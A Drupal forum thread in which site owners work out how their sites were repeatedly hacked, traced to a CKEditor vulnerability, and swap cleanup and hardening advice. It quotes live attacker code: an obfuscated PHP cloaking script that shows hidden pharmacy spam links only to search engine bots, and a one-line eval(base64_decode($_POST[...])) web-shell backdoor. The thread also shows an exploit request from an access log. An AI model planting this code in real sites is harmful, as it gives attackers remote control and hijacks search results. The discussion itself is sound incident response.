By dreadlocks1221 on
Hi,
I am using the latest version of D7, I only access my site via SFTP, and I have changed my password several times, however my site keeps getting hacked in such a way that files such as common.php, admin.php, etc that aren't used by drupal keep getting added to the root of the installation. Furthermore these files spam the googlebot with fake keywords for Viagra and cheap online pills so that when you look for my site on Google thats all that comes up. I keep removing the files but they keep coming back.
Has anyone here experienced a similiar problem and hopefully has a permanent fix?
Comments
Not sure about your specific
Not sure about your specific issue but this was in Drupal planet recently. http://www.digett.com/blog/12/28/2011/lessons-learned-hacked-website
may give some insight into how they keep getting back in.
What are you running? I would
What are you running?
I would just start checking logs. Find when the files were created and just start digging
Check your FTP logs is there another user able to access this. Check your users make sure you don't have any unexpected users especially with root permissions.
Check for any scripts that may be run to do this.
this is a huge problem
i recently started using drupal 7 as well and just encountered similar problems which is a complete let down since i actually thought it was a secure framework. i've searched the forums and google in hopes of finding a solution and preventative measures but it always seems that most are stuck starting from scratch in hopes that it doesn't happen repeatedly... unfortunately it does :( even when you've done all you can in terms of updating and doing what you can to keep the site secure. I would like to say i'm an expert in security but for most users that's not the case and like everyone else who has experienced this annoyance of being hacked we're all googling the same solution, start from scratch update frequently and hope for the best. some blogs do help but not in the realm of prevention.
so for those who are blessed with an iron curtain secure site please let us average developers and designers in on your approach and save us from ourselves...seriously we lose sleep and hair!
Look through the previously
Look through the previously posted article and do a grep on your entire site to remove the malicious code, also inside one of my include folders it appeared that the hacker had hidden a wordpress install which they used to probably get back in and out.
drupal and everything else
thnx for the help dreadlocks1221. i searched my entire site and decided to start from scratch unfortunately i think my host sucks (dreamhost) and the problem is now wide spread even with my other basic sites with only a index.html page, completely bizarre! i suspect my issues started when i tried using drupal but there has to be a way because there are stable sites out there that use drupal. the whole thing is a mess and i realize everything isn't bulletproof. looking into prevention rather than resolution.
dreamhost That's your problem
That's your problem right there.
why didn't someone tell me before
ya, nightmare host. so which is the best? ideally i would like to call for support and dreamhost support is nonexistent. i'm already stuck using them but will consider switching after everything is said and done.
DRUPAL PHARMACY HACK, any information to help me clean ?
DRUPAL PHARMACY HACK, any information to help me clean ?
Hi,
I just found that many websites are hacked by Pharmacy viagra and others hacks, and I cannot find where is the hack. Websites still loading by "site:domain.com viagra" on google shows viagra on many pages (only in Google cache, i cannot see any viagra in the source of any page actually)).
I guess that the script only shows the pharmacy keywords to Google and only sometimes.
Do you have any other information that could help me to clean my websites ?
Where to look, what to do ?
Thanks.
You can checkout the hacked
You can checkout the hacked module.
Also the google cached page is old so if you cleaned it up you may need to wait for the Google to update the cached pages
DRUPAL PHARMACY HACK, HOW TO CLEAN MY DRUPAL INSTALL HACKED
DRUPAL PHARMACY HACK, HOW TO CLEAN MY DRUPAL INSTALL HACKED BY VIAGRA AND CIALIS PILLS ?
Hello,
Thank you for reply.
Anonymous users cannot post. I have found in the Drupal install "includes" folder a file named "ssl.inc"
Can you tell me what this file does, how is it run, and if everything is ok now that I have deleted it or if it will be created again to spam my website again ?
It seems that only Google see the pharmacy keywords ar "viagra" "cialis" etc... as they are not shown on my pages or in the source of my pages buy I can see them when i check Google CACHE only.
Thank you for your help an experience about this DRUPAL PHARMACY HACK. Here is what I can see in the "ssl,inc" file:
function _1343129181($i){$a=Array('SFRUUF9VU0VSX0FHRU5U','R29vZ2xlYm90','SFRUUF9VU0VSX0FHRU5U','YmluZ2JvdA==','SFRUUF9VU0VSX0FHRU5U','bXNuYm90','CjxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO2xlZnQ6LTIwMDBweDt3aWR0aDoyMDAwcHgiPjxhIGhyZWY9Imh0dHA6Ly9ldXJvcGVhbi1waGFybWFjaWUub3JnL3Byb2R1Y3RzL3ZpYWdyYS5odG0iPnZpYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vY2FuYWRpYW5yeG9ubGluZS5pbmZvL3Byb2R1Y3RzL3ZpYWdyYS5odG0iPnZpYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vY2FuYWRhLW9ubGluZS1waGFybWFjeS5uZXQvcHJvZHVjdHMvZWZmZXhvci14ci5odG0iPmVmZmV4b3I8L2E+IHwgPGEgaHJlZj0iaHR0cDovL2RydWdzcHJlbWl1bS5uZXQvcHJvZHVjdC8/cHJvZHVjdD1rYW1hZ3JhX2JyYW5kIj5rYW1hZ3JhPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9wb3RlbnptaXR0ZWwtYW5iaWV0ZXIubmV0L0dlbmVyaXNjaGVzLVZpYWdyYS8iPnZpYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vd3d3LnBoYXJtYWN5ZGlyZWN0Z2IubmV0L0dlbmVyaWMtWml0aHJvbWF4LyI+eml0aHJvbWF4PC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9pdC5wcmltYS1tZWQubmV0L1ZpYWdyYS1HZW5lcmljby8iPnZpYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vZW4ucHJpbWEtbWVkLm5ldC9HZW5lcmljLVZpYWdyYS8iPnZpYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vZW4ucG90ZW56bWl0dGVsLWFuYmlldGVyLm5ldC9HZW5lcmljLUNpYWxpcy8iPmNpYWxpczwvYT4gfCA8YSBocmVmPSJodHRwOi8vcmF5bWVkcy5vcmcvb3JkZXItY2lhbGlzLW9ubGluZS1lbi5odG1sIj5jaWFsaXM8L2E+IHwgPGEgaHJlZj0iaHR0cDovL21lZGV4cHJlc3NyeC5vcmcvb3JkZXItY2lhbGlzLW9ubGluZS1lbi5odG1sIj5jaWFsaXM8L2E+IHwgPGEgaHJlZj0iaHR0cDovL3hscGhhcm1hY3kuZXUvb3JkZXIta2FtYWdyYS1vbmxpbmUtZW4uaHRtbCI+a2FtYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vY2hlbWlzdGRpcmVjdC5uZXQuY28vb3JkZXItdmlhZ3JhLW9ubGluZS1lbi5odG1sIj52aWFncmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL21lbGtlci5jby9vcmRlci16aXRocm9tYXgtb25saW5lLWRlLmh0bWwiPnppdGhyb21heDwvYT4gfCA8YSBocmVmPSJodHRwOi8vcGhhcm1hdGhla2UtZXVyb3BlLm5ldC5jby9iZXN0ZWxsdW5nLWxldml0cmEtb25saW5lLWRlLmh0bWwiPmxldml0cmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL2VsbWVkaWNhLm5ldC9iZXN0ZWxsdW5nLXZpYWdyYS1vbmxpbmUtZGUuaHRtbCI+dmlhZ3JhPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9mYXJtYWNpYS1pdGFsaWEuYml6L29yZGVyLWxldml0cmEtb25saW5lLWl0Lmh0bWwiPmxldml0cmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL2V4YWN0LXBoYXJtYS5uZXQvb3JkZXItbGV2aXRyYS1vbmxpbmUtZW4uaHRtbCI+bGV2aXRyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vZXVyb2NsaW5peC5iaXovb3JkaW5lLXZpYWdyYS1vbmxpbmUtaXQuaHRtbCI+dmlhZ3JhPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly93d3cucGlsbGVidXRpay5uZXQvS2FtYWdyYS8iPmthbWFncmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL2NoaW5hLWdvb2RzLmJpei9wcm9kdWN0L3NhbXN1bmctaTkwMDAtZ2FsYXh5LXMvIj5zYW1zdW5nIGdhbGF4eSBzIGk5MDAwPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9ldS1hcG90aGVrZS5uZXQuY28vb3JkZXItZGlmbHVjYW4tb25saW5lLWRlLmh0bWwiPmRpZmx1Y2FuPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9nZW5jb21wcmFyZW5lc3BhbmEubmV0L29yZGVyLXRhZGFjaXAtb25saW5lLWVzLmh0bWwiPnRhZGFjaXA8L2E+IHwgPGEgaHJlZj0iaHR0cDovL3d3dy5waWxsZXJpYXB0ZWVra2kubmV0L0dlbmVyaWMtTGlwaXRvci8iPmxpcGl0b3I8L2E+IHwgPGEgaHJlZj0iaHR0cDovL3d3dy5hcG90ZWt1dGVucmVzZXB0Lm5ldC9HZW5lcmljLUNpYWxpcy8iPmNpYWxpczwvYT4gfCA8YSBocmVmPSJodHRwOi8vcGhhcm1hMjRzdG9yZS5uZXQvZ2VuZXJpYy1sZXZpdHJhLmh0bWwiPmxldml0cmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL2V1aG9tbWVzLm5ldC9vcmRlci12aWFncmEtb25saW5lLWZyLmh0bWwiPnZpYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vMjRtZWQuYml6L29yZGVyLWNpYWxpcy1vbmxpbmUtZW4uaHRtbCI+Y2lhbGlzPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9lbG9jZWFub2RlbGNhb3MubmV0L29yZGVyLWthbWFncmEtb25saW5lLWVzLmh0bWwiPmthbWFncmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL2ZyLnByaW1hLW1lZC5uZXQvR2VuZXJpYy1WaWFncmEvIj52aWFncmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL3BoYXJtYWN5LW1hcnQubmV0L29yZGVyLXZpYWdyYS1vbmxpbmUtaXQuaHRtbCI+dmlhZ3JhPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9pbXAzMDNlcy5uZXQvb3JkZXItY2lhbGlzLW9ubGluZS1lcy5odG1sIj5jaWFsaXM8L2E+IHwgPGEgaHJlZj0iaHR0cDovL3J4b25lcGhhcm1hY3kub3JnL3Byb2R1Y3RzL3ZpYWdyYS5odG0iPnZpYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vc2VjdXJlZHJ1Z3N0b2NrLmJpei9vcmRlci1jaWFsaXMtb25saW5lLWVuLmh0bWwiPmNpYWxpczwvYT4gfCA8YSBocmVmPSJodHRwOi8vd3d3LnBpbGxlcmlhcHRlZWtraS5uZXQvR2VuZXJpYy1DaWFsaXMiPmNpYWxpczwvYT4gfCA8YSBocmVmPSJodHRwOi8vcGlsbGVidXRpay5uZXQvR2VuZXJpYy1DaWFsaXMvIj5jaWFsaXM8L2E+IHwgPGEgaHJlZj0iaHR0cDovL2RydWdzcHJlbWl1bS5uZXQvcHJvZHVjdC8/cHJvZHVjdD1jaWFsaXMiPmNpYWxpczwvYT4gfCA8YSBocmVmPSJodHRwOi8vcGhhcm1hMjRzdG9yZS5uZXQvZ2VuZXJpYy1jaWFsaXMuaHRtbCI+Y2lhbGlzPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9ldXJvY2xpbml4LmJpei9vcmRpbmUtY2lhbGlzLW9ubGluZS1pdC5odG1sIj5jaWFsaXM8L2E+IHwgPGEgaHJlZj0iaHR0cDovL3NlY3VyZWRydWdzdG9jay5iaXovb3JkZXItdmlhZ3JhLW9ubGluZS1lbi5odG1sIj52aWFncmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL21lZGV4cHJlc3NyeC5vcmcvb3JkZXItdmlhZ3JhLW9ubGluZS1lbi5odG1sIj52aWFncmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL2NhbmFkaWFucnhkcnVncy5vcmcvcHJvZHVjdHMvcHJvcGVjaWEuaHRtIj5wcm9wZWNpYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vZHJ1Z3MtbWVkLm9yZy9waGFybWFjeS92aWFncmEiPnZpYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vcnhvbmxpbmUyNHg3LmNvbS9wcm9kdWN0cy92aWFncmEuaHRtIj52aWFncmE8L2E+IHwgPGEgaHJlZj0iaHR0cDovL2RlLnByaW1hLW1lZC5uZXQvR2VuZXJpc2NoZXMtVmlhZ3JhLyI+dmlhZ3JhPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9jaWdhcmV0dGVzc2FsZS5ldS9rNS9jYW1lbC5odG1sIj5jYW1lbCBjaWdhcmV0dGVzPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9vbmxpbmVwaGFybWFya2V0Lm5ldC9vcmRlci12aWFncmEtb25saW5lLWVuLmh0bWwiPnZpYWdyYTwvYT4gfCA8YSBocmVmPSJodHRwOi8vc3dpc3MtbWVkaWNvLXN0b3JlLmluZm8vcHJvZHVjdHMvY2lhbGlzLmh0bSI+Y2lhbGlzPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9idXlwaWxsc2hlcmUubmV0L29yZGVyLWNpYWxpcy1vbmxpbmUtZW4uaHRtbCI+Y2lhbGlzPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9hdGxhbnRpYy1kcnVncy5vcmcvcHJvZHVjdHMvdmlhZ3JhLmh0bSI+dmlhZ3JhPC9hPiB8IDwvZGl2Pgo=');return base64_decode($a[$i]);}error_reporting(round(0));if(stristr($_SERVER[_1343129181(0)],_1343129181(1))|| stristr($_SERVER[_1343129181(2)],_1343129181(3))|| stristr($_SERVER[_1343129181(4)],_1343129181(5))){echo _1343129181(6);}DRUPAL PHARMACY HACK, HOW TO CLEAN MY DRUPAL INSTALL HACKED
@ make-online-shop
I had the same problems, with a TYPO3-Installation. The Hacker has modified a Core-File. After cleaning this file and update on a the next typo3 version. It seems to be ok.
To delete the spammed texts on google hitlist, I have created a new subdomain on which the whole website now can be found. With google webmastertools I have delete the old subdomain with all the spammed pages. Google took only two or three hours to clean the google-index. Very fast. But if you think about how long it takes to get a good position in google index ... ?!
Best wishes Jürgen
how long Google needs to clean its index
Hello,
Thank you for your help.
I will wait to know how long Google needs to clean its index "naturally" and I hope that now that I cleaned all the server everything will be fine.
Hacked Site
I tried to logon to our HOA site yesterday and found a blank page. The "view Page" option has a fp= string which tries to load something. The code is:
How can I decipher the code and what steps do I need to take to disable the site until I can reconstruct? Renaming the public_html folder does not stop the site from loading the above.
I have Drupal 7 installed, release 14.
Thanks for any assistance.
I am using the latest version
Hi Dreadlocks, I've just had the exact same thing happened to my site - it added a load of bogus files and directories, and there was also a couple of wp-config files right up in the root of my server (i.e. above the public_html folder where the drupal installation lives).
It seems to me that it's a server security issue rather than a Drupal one as I can't see that anything has been altered in my drupal DB and I'm using all the lastest versions (7.15) and modules.
Did the problem go away after you'd changed all the passwords? Was there anything server-side you did to make it more secure. I also access mine via SFTP.
Thanks,
Ben
I'm also having my site
I'm also having my site hacked. I found out when the site broke down one day, creating a "500 internal server error" message. I then found out that someone had changed my .htaccess and added some RewriteCond and RewriteRule code probably meant to direct users to a malware site. By replacing the .htaccess file the site started working again.
I then found a wp-conf.php file and other strange files on root level as well which I removed. The next day the wp-conf.php file was back! Of course it doesn't do anything since I'm running drupal but I can't understand how they uploaded that file. There are no uploads according to the ftp-logs and nothing that points to any files being uploaded in the drupal dblog either - can you even upload files to root level through the drupal interface? Wat I do find in the dblog is loads of "warning - page not found" calls to pages that don't exist on my site, some of them calls to the wp-conf.php which I deleted. The IP numbers in question are tracked to Russia, Ukraine and Microsoft, USA.
1. Is it a good idea to block these IP-numers from my site or is it likely they'll come back some other way if I do that?
2. Any ideas on how files can be added to the root directory without anything appearing in the ftp-log?
As a quick prevention fix you
As a quick prevention fix you could add rules in your server config to only allow calls to index.php, update.php and cron.php. This will prevent the hackers from running code in any extra php files that are being added to the site file directory.
Adam Clarey
City Web Consultants
http://citywebconsultants.co.uk
rabbit_media, can you provide
rabbit_media, can you provide an example of what this rule might look like?
What server do you use? I use
What server do you use?
I use nginx so if you want rules for apache i'd have to do a google search. There should be plenty info on google about rewrite rules etc
Adam Clarey
City Web Consultants
http://citywebconsultants.co.uk
linux :)
linux :)
=-=
linux is an OS not a sever. nginx and apache as well as other servers run in linux.
Hmm, we had this same issue
Hmm, we had this same issue on a website and it stemmed from a vulnerable CKEditor. Here are some log entries that might be useful to others in tracking down similar issues. We simply looked for the first instance that wp-conf.php was accessed and then checked out the activity just prior to that and this is what we were able to discover:
What happened here is that an automated attack came in, found a vuln ckeditor instance at 06:31:45am, uploaded a shell (wtm2135n.php) via the exploit in CKEditor and then for some reason used that file to upload yet another shell (wp-conf.php). Then from there wp-conf.php did all kinds of other badness like put files in the document root, modified .htaccess, etc. I have not yet checked the ckeditor project page to see if this vuln is known, but that is my next step. The website was running the latest Drupal 7. As a side note, while we were deleting the files that were in document root, we noticed that they magically came back within a matter of minutes. We checked the logs and found that wp-conf.php had just been posted to (it was in the includes dir). This is what led us to finding the root of the problem which is a ckeditor vuln.
http://packetstormsecurity.or
http://packetstormsecurity.org/files/110819/Drupal-CKEditor-FCKeditor-XS...
This for us anyway, is the root cause of the issue seen here in this thread. Your mileage may vary.
The vulnerability you
The vulnerability you describe is a vulnerability in the CKeditor module (I can tell from the accessed paths) that was fixed with SA-CONTRIB-2012-040 - CKEditor and FCKeditor - multiple XSS, arbitrary code execution.
I suggest you review your update policies.
Is this another well know exploit?
New D7 site up for three days and this morning we had (what I suspect was) the first intrusion attempt, from an IP in Poland, by some shadowkf:
/www.mydomain.org/user?destination=node/addAll 2+4 attempts failed.
shadowfk
You are not alone meno1max. I am getting the same messages appearing in pairs every 5 or 7 minutes. Not sure what to do about this? Have you discovered anything more on this?
shadowkf
I'm seeing the same thing- two attempts by username shadowkf every hour. I have Flood Control installed, and set to block by username after a certain number of attempts, but it continues.
I blocked the IP he was coming from...
... and haven't seen him/her again.
BTW, according to Project Honey Pot, the behaviour from that IP address is "consistent with that of a comment spammer".
Another hack after security upgrade to CKeditor 7.x-1.9
After being hacked before and upgraded to CKeditor 7.x-1.9 and Drupal 7.17, one of our websites was hacked again in a similar way. The wp-conf.php file (together with some other odd files) was back on the root and other default Drupal files were modified.
The following files on the root were modified or added:
The modification in the default files index.php, authorize.php for instance, looked like this (on line 1 of the php-file):
<?php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}We think this is the only line that was modified.
We've upgraded every possible module again while there were no critical/security updates available. There were only regular updates (bugfixes), among others CKeditor 7.x-1.11 (not flagged as critical).
This is quite concerning.
> hacked again in a similar
> hacked again in a similar way.
How do you know this? Edit: or did you mean "with the same end result"?
To know, check the access log for hits on ckeditor/xss. Alternatively, could the perpetrators have left something behind, or used a local elevation vulnerability to take over the server?
We've also noticed in the log
We've also noticed in the log files that this user shadowke seems to be involved again, with a failed login though. A new user registered as well today, with the nick SleeseLise, obviously fishy, since the e-mail address is "save.moneys@aol.com".
The logs tell there were attempts to visit /redirecting.htm, which is obviously not a default file on the Drupal's root folder.
With similar end result
@Heine, indeed, with a similar (not identical) end result.
I've checked the access.log and admin/reports/dblog and there were no mentions of CKeditor or XSS.
Correction: CKeditor and XSS mentionned in log
@Heine, my apologies, there are mentions of (f)ckeditor/xss in the log:
After the hack the site was upgraded to D7.17 and CKeditor 7.x-1.9 (nov. 9th). After going through the site today I discovered another file called "wp-conf.php" (/sites/all/themes), dated nov 6th. On another location a file with the same name (sites/all), dated nov 16th.
=-
new version of ckeditor was released yesterday.
Indeed, that is what I
Indeed, that is what I noticed when I ran an update check. It was marked as a regular update though, not a security update.
=-=
I'd also make sure the library itself is up to date.
The FCkeditor and Ckeditor
The FCkeditor and Ckeditor path hits were all 404.
It seems like there was a malicious file left behind.
My site got hacked from the
My site got hacked from the same IP number. The domain belongs to somebody named Valeriy Muhaylovich Trubnikov in the Ukraine. In my case it was a cross-scripting vulnerability with ckeditor. I cleared the site from all malicious files and revoked the ability to use ckeditor for unregistered users. I hope that will prevent further attacts. If not, I will deinstall ckeditor alltogether.
I noticed that there are some contrib modules that block access based on IP location. I seriously consider blocking all access from Eastern Europe and China since they are not my target group anyway. Does anybody have any experience with these modules. There doesn't seem to be a lot of activity or sites using them for that matter.
You can learn a bit about what they attackers do to your site by analysing the code in the files they upload. They usually try to obfuscate them by replacing variable names with random strings and by deleting spaces and line feeds. Sometimes they hide the coding in long numerical arrays of ascii values or some other encoding system. But it's usually quite easy to reverse engineer them and pretty print them. In my case, they used a file tcheckout.php to upload files, create new directories and change permissions. Eventually they get infected computers all over the world to call getinfovUUP.php which then use my site to send spam.
Does anybody with experience from a similar attack by 91.211.18.59 know if they actually try to break into the database or if they try to manipulate the .htaccess file. (In my case it was left untouched.) I had the impression that whoever it was that hacked my site didn't make much of effort to conceal the attack. All new files had a very recent file date making it easy for me to spot them right away. I suppose that spammers are more interested in taking over a site only for a short period of time since it gets blocked by the provider fairly quickly anyway.
ckeditor
Do you have access logs that point to ckeditor or fckeditor as the point of entry? What version of the ckeditor or fckeditor module did you run at that point in time?
I was running CKEditor
I was running CKEditor 6.x-1.11 / 3.6.2 on Drupal core 6.25.
This was the first access log entry that looked suspicious to me.
91.211.18.59 - - [18/Dec/2012:23:58:17 +0100] "POST /group/index.php?q=ckeditor/xss HTTP/1.1" 403 409 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"It was followed by more of the same in the following days. Typically, each access started with a reference to ckeditor, such as this one, until other files had been uploaded.
=-=
just a note that the latest version of the ckeditor module (1.12) and the latest version of the ckeditor library (3.6.6) should be in use as of the time of this comment.
Mischievous files on root outside web folder
We also noticed that mischievous files were placed on the root folder of the server (above the www-folder where the Drupal site is in):
There's a new ckeditor ticket
There's a new ckeditor ticket at
http://dev.ckeditor.com/ticket/9941
thst reports the same problem. Maybe it will shed some light on the vuln.
My suggestions
Hello. I am no expert, but I think my suggestions would be helpful.
First probable solution
I believe drupal core only makes requests to the .php files in the root directory. Do, if we use htaccess to disable requests to all php files except the ones in the root, I think, it wont be possible for anyone to run the new php files using a request. Hence, even if the files exist, they won't be able to exec them. I did the same in a new cms I am building - I hope it helps. But it would require mod_rewrite (which I presume everyone uses).
Second probable solution: Permissions
Though we do not have much permission to play with permissions when on a shared hosting, I think if we remove write permissions from all but sites directories, then at least scripts won't be able to write any new files in there at runtime. We can also disable perms to sites/all as it would have general code which won't be altered by Drupal at runtime.
Unrelated precaution: Disable eval()
Dunno if directly related to the issue or not, but disable eval() and it would help tighten security. Besides, I had these same files in my server too and the last line had an eval(). Strange. I wonder what fun hackers get from this. I hope they change for the better someday.
That's all I gotta say for now. If I find a better solu, I will put it up.
in addition to Securing file
in addition to Securing file permissions and ownership make sure you have removed the demo code from various gallery, WYSIWYG plugins(exp. file upload). Optionally you can also set root folder and all *.php under root to 555 , so that new files can't be created and neither existing files can be edited.